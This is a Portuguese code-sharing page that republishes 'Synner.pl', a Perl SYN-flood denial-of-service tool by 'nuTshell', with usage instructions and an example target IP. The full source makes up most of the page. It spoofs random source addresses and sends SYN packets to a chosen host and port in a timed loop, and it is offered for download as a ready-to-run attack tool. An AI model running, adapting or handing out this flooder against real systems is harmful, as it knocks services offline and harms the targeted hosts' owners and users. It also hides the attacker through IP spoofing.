Ferramenta muito similar a outros flooders Sys TCP. Essa trabalha mandando pacotes Sys ao host e a porta específicada. Diferente de outros flooders, Synner consome toda a conexão.

Use: ./synner.pl IP PORTA TEMPO
Ex.: ./synner.pl 200.151.20.141 80 10

É necessário que você tenha o Net::RawIP instalado.

Perceba:

# WARNING: Never tested in real world :}

Garanto que eu também não testei, mas existe um comentário na Securiteam que é uma ótima ferramenta.

Fonte:
http://www.securiteam.com/tools/6K00M0KEUW.html

• Download flooder.pl.txt
• Enviar nova versão

Esconder código-fonte

#!/usr/bin/perl 
# 
# Synner.pl 
# 
# Other Spoof-DoS tool written by nuTshell 
# <carloslack at gmail dot com> 
# <http://gotfault.net/~nutshell> 
# 
# Description: 
# This small tool is similar many other tcp syn flooders out there. 
# It works sending syn tcp packets to destination host:port, 
# spoofing it`s own ip addresses by sending randon source host:port 
# packets. 
# Be carefull, becouse you really need strong link otherwise 
# you`ll get f*. Unlike panic.pl , synner.pl consumes much 
# bandwidth resources. 
# 
# Required: 
# Install Net::RawIP from cpan or get it`s .tar,gz from somewhere. 
# It`s up to you. 
# 
# This tool does SPOOF your ip. 
# 
# Run it as ROOT (Net::RawIP needs). 
# Usage: ./synner.pl <ip> <port> <time> 
# 
# Greetz goes to: Shorgen, hexdump, Codak, khz, spidersoft, 
# Barros, xgc, btaranto, Acid-Warz, F-117... 
# 
# WARNING: Never tested in real world :} 
# 

#Make sure to get and install this module from cpan: 
use Net::RawIP; 

#Display help message: 
sub usage() { 
die "Use $0 <ip> <port> <time>n"; 
} 

#Function to control synner`s execution time: 
sub get_time() { 
$finaltime = time; 
$endme = $finaltime-$begintime; 
} 

#Bit useless...: 
if (@ARGV>3) {&usage} 

$ipdest = $ARGV[0] or &usage; 
$destport = $ARGV[1] or &usage; 

#Time is required to avoid endless execution (keep in mind that synner eats bandwidth): 
$time = $ARGV[2] or &usage; 

#Source port of our packets, include as many as you want: 
@tmpport = (1756,1026,1739,4055,2001,3055,1999,2873,20000,5476,9132,6000,9000,1234); 

#2 arrays that will give us randon ip addr: 
@iparray_round1 = (1,2); 
@iparray_round2 = (0,1,2,3,4,5,6,7,8,9); 

print "[!] Synpack.pl spoof-DoS tool written by nuTshelln"; 
print "[!] You better have huge link :)n"; 
print "[!] Time: $timen"; 
print "[!] Destination victin-> $ipdest:$destportn"; 

#Set $packet as handle of our raw packets: 
$packet = new Net::RawIP; 

#Get start time: 
$begintime = $^T; 

#Call get_time(): 
get_time(); 

while($endme < $time) { 

#Now build randon xxx.xxx.xxx.xxx: 
for ($z=0;$z<4;$z++) { 

#I use number 2 for every first numbers of each octet: 
for($I=0;$I<1;$I++) { 
$ip .= 2; 
} 
#Here i keep two options for every second numbers of each octet: 
for($kick=0;$kick<1;$kick++) { 
$iparray_round1 = $iparray_round1[rand(@iparray_round1)] ; 
$ip .= $iparray_round1; 
} 
#For all the last third of each octets i use range between 0<->9: 
for($you=0;$you<1;$you++) { 
$iparray_round2 = $iparray_round2[rand(@iparray_round2)] ; 
$ip .= $iparray_round2; 
} 

#Insert dot between each octet: 
$ip .= "."; 
} 

#The last one dot must be erased: 
chop($ip); 

#Routine to create/send spoofed packets, thanks to Net::RawIP: 
$tmpport = $tmpport[rand(@tmpport)]; 
$packet->set( 
{ 
ip => { saddr => $ip, #Victin ip 
daddr => $ipdest #Victin port 
}, 

tcp => { source => $tmpport, #Source ip(Spoofed and randomized) 
dest => $destport, #source port(Randomized) 
psh => 1, 
ack => 0, 
syn => 1, 
data => '31337' 
} 
} 
); 

#Send it: 
$packet->send(0,1) ; 

print "[*] From-> $ip:randon_portr"; 

#Reset last ip for new one: 
$ip = ''; 

#Call get_time(): 
get_time(); 

} 
#That`s all folks! 
print "nDone!n"; 
#eof

Descubra se seu e-mail ou conta foi "pwned"

PDF completo com todas as páginas do Diário Oficial do Estado de Goiás

API do Bing para traduzir textos

Postando mensagem no Facebook com Perl

Sarg Diario